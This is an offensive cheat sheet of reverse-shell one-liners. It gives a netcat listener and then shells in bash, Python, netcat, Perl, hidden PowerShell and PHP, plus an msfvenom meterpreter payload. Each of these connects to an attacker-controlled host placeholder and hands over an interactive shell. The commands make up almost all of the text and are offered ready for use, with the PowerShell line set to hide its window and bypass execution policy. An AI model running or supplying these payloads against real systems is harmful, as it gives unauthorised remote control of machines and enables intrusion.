Listener
on attacking machine start a listener
#nc -nlvp 4444
bash
#echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackIP> 4444 >/tmp/f" >> script.sh
There are a lot of bash reverse shells.
Python
#python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACK-IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
depending on target local python you may have to change from python to python2.7/python3.5 etc.
see link for example of python reverse shell with privilege escalation
netcat
method 1:
#nc -e /bin/sh <ATTACK-IP> 4444
method 2:
#/bin/sh | nc <ATTACKING-IP> 4444
method 3:
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKERip PORT >/tmp/f
method 4:
#rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
Upload windows-binaries/nc.exe
copy (if you want) netcat binaries to directory you are storing data for your attack
#cp /usr/share/windows-binaries/nc.exe nc.exe
You need to put this "nc.exe" file on the windows target. Windows needs this binary in order to successfully do a reverse shell using "nc"
Perl
#perl -e 'use Socket;$i="<ATTACKING-IP>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Powershell
#powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attack_ip>/<attack_port> 0>&1'"); phpinfo(); ?>
Metasploit Reverse TCP Windows
msfvenom -p windows/meterpreter/reverse_tcp lhost=<attack_ip> lport=<attack_listen_port> -f exe -o filename.exe